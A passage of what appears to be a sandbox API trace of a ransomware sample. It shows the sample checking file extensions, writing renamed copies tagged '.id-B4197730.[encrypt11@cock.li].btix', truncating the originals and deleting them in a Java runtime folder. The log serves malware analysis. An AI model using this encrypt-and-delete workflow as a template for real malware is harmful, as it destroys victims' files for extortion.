Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString=".doc") returned 4 [0148.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString=".docx") returned 5 [0148.845] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.845] lstrlenW (lpString=".pdf") returned 4 [0148.845] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.845] lstrlenW (lpString=".xls") returned 4 [0148.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.845] lstrlenW (lpString=".xlsx") returned 5 [0148.845] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.845] lstrlenW (lpString=".ppt") returned 4 [0148.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.845] lstrlenW (lpString=".zip") returned 4 [0148.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.845] lstrlenW (lpString=".rar") returned 4 [0148.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.845] lstrlenW (lpString=".bz2") returned 4 [0148.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.845] lstrlenW (lpString=".7z") returned 3 [0148.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.845] lstrlenW (lpString=".dbf") returned 4 [0148.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.845] lstrlenW (lpString=".1cd") returned 4 [0148.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.845] lstrlenW (lpString=".jpg") returned 4 [0148.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.845] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.845] lstrlenW (lpString="jsound.dll") returned 10 [0148.845] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.846] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=35392) returned 1 [0148.846] CloseHandle (hObject=0x34c) returned 1 [0148.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0148.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.846] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.846] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.847] GetLastError () returned 0x0 [0148.847] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x8a40, lpOverlapped=0x0) returned 1 [0149.126] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x8a50, lpOverlapped=0x0) returned 1 [0149.127] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.127] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.127] SetEndOfFile (hFile=0x35c) returned 1 [0149.128] CloseHandle (hObject=0x35c) returned 1 [0149.128] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.128] SetEndOfFile (hFile=0x34c) returned 1 [0149.129] CloseHandle (hObject=0x34c) returned 1 [0149.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.129] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0149.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.129] lstrlenW (lpString=".doc") returned 4 [0149.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.129] lstrlenW (lpString=".docx") returned 5 [0149.129] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0149.129] lstrlenW (lpString=".pdf") returned 4 [0149.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.129] lstrlenW (lpString=".xls") returned 4 [0149.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.130] lstrlenW (lpString=".xlsx") returned 5 [0149.130] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0149.130] lstrlenW (lpString=".ppt") returned 4 [0149.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.130] lstrlenW (lpString=".zip") returned 4 [0149.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.130] lstrlenW (lpString=".rar") returned 4 [0149.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.130] lstrlenW (lpString=".bz2") returned 4 [0149.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.130] lstrlenW (lpString=".7z") returned 3 [0149.217] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.217] lstrlenW (lpString=".dbf") returned 4 [0149.217] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.217] lstrlenW (lpString=".1cd") returned 4 [0149.217] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.217] lstrlenW (lpString=".jpg") returned 4 [0149.217] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString=".doc") returned 4 [0149.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString=".docx") returned 5 [0149.218] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0149.218] lstrlenW (lpString=".pdf") returned 4 [0149.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString=".xls") returned 4 [0149.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString=".xlsx") returned 5 [0149.218] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0149.218] lstrlenW (lpString=".ppt") returned 4 [0149.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString=".zip") returned 4 [0149.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString=".rar") returned 4 [0149.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.218] lstrlenW (lpString=".bz2") returned 4 [0149.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.218] lstrlenW (lpString=".7z") returned 3 [0149.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString=".dbf") returned 4 [0149.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString=".1cd") returned 4 [0149.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0149.218] lstrlenW (lpString=".jpg") returned 4 [0149.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.219] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0149.219] lstrlenW (lpString="ktab.exe") returned 8 [0149.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.705] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=16448) returned 1 [0149.705] CloseHandle (hObject=0x3a0) returned 1 [0149.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0149.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.706] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.706] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.707] GetLastError () returned 0x0 [0149.707] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4040, lpOverlapped=0x0) returned 1 [0149.786] WriteFile (in: hFile=0x370, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4050, lpOverlapped=0x0) returned 1 [0149.787] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.787] WriteFile (in: hFile=0x370, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.787] SetEndOfFile (hFile=0x370) returned 1 [0149.787] CloseHandle (hObject=0x370) returned 1 [0149.787] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.787] SetEndOfFile (hFile=0x3a0) returned 1 [0149.788] CloseHandle (hObject=0x3a0) returned 1 [0149.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.788] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0149.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString=".doc") returned 4 [0149.789] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.789] lstrlenW (lpString=".docx") returned 5 [0149.789] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0149.789] lstrlenW (lpString=".pdf") returned 4 [0149.789] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString=".xls") returned 4 [0149.789] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString=".xlsx") returned 5 [0149.789] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0149.789] lstrlenW (lpString=".ppt") returned 4 [0149.789] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString=".zip") returned 4 [0149.789] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString=".rar") returned 4 [0149.789] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString=".bz2") returned 4 [0149.789] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.789] lstrlenW (lpString=".7z") returned 3 [0149.789] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString=".dbf") returned 4 [0149.789] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString=".1cd") returned 4 [0149.789] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString=".jpg") returned 4 [0149.789] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.790] lstrlenW (lpString=".doc") returned 4 [0149.790] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.790] lstrlenW (lpString=".docx") returned 5 [0149.790] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0149.790] lstrlenW (lpString=".pdf") returned 4 [0149.790] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.790] lstrlenW (lpString=".xls") returned 4 [0149.790] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.790] lstrlenW (lpString=".xlsx") returned 5 [0149.790] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0149.790] lstrlenW (lpString=".ppt") returned 4 [0149.790] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.790] lstrlenW (lpString=".zip") returned 4 [0149.790] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.790] lstrlenW (lpString=".rar") returned 4 [0149.790] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.790] lstrlenW (lpString=".bz2") returned 4 [0149.790] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.790] lstrlenW (lpString=".7z") returned 3 [0149.790] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.790] lstrlenW (lpString=".dbf") returned 4 [0149.790] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.790] lstrlenW (lpString=".1cd") returned 4 [0149.790] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0149.790] lstrlenW (lpString=".jpg") returned 4 [0149.790] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.791] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.791] lstrlenW (lpString="msvcp120.dll") returned 12 [0149.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.791] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=660128) returned 1 [0149.791] CloseHandle (hObject=0x3a0) returned 1 [0149.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0149.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.791] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.791] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.792] GetLastError () returned 0x0 [0149.792] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xa12a0, lpOverlapped=0x0) returned 1 [0150.061] WriteFile (in: hFile=0x370, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0150.132] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.132] WriteFile (in: hFile=0x370, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.133] SetEndOfFile (hFile=0x370) returned 1 [0150.133] CloseHandle (hObject=0x370) returned 1 [0150.133] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.133] SetEndOfFile (hFile=0x3a0) returned 1 [0150.138] CloseHandle (hObject=0x3a0) returned 1 [0150.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.138] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0150.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString=".doc") returned 4 [0150.148] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString=".docx") returned 5 [0150.148] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.148] lstrlenW (lpString=".pdf") returned 4 [0150.148] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString=".xls") returned 4 [0150.148] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString=".xlsx") returned 5 [0150.148] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.148] lstrlenW (lpString=".ppt") returned 4 [0150.148] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString=".zip") returned 4 [0150.148] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString=".rar") returned 4 [0150.148] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString=".bz2") returned 4 [0150.148] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.148] lstrlenW (lpString=".7z") returned 3 [0150.148] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString=".dbf") returned 4 [0150.148] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString=".1cd") returned 4 [0150.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString=".jpg") returned 4 [0150.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.149] lstrlenW (lpString=".doc") returned 4 [0150.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString=".docx") returned 5 [0150.149] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.149] lstrlenW (lpString=".pdf") returned 4 [0150.149] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString=".xls") returned 4 [0150.149] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString=".xlsx") returned 5 [0150.149] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.149] lstrlenW (lpString=".ppt") returned 4 [0150.149] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.149] lstrlenW (lpString=".zip") returned 4 [0150.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString=".rar") returned 4 [0150.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.149] lstrlenW (lpString=".bz2") returned 4 [0150.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.149] lstrlenW (lpString=".7z") returned 3 [0150.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.149] lstrlenW (lpString=".dbf") returned 4 [0150.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.149] lstrlenW (lpString=".1cd") returned 4 [0150.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.149] lstrlenW 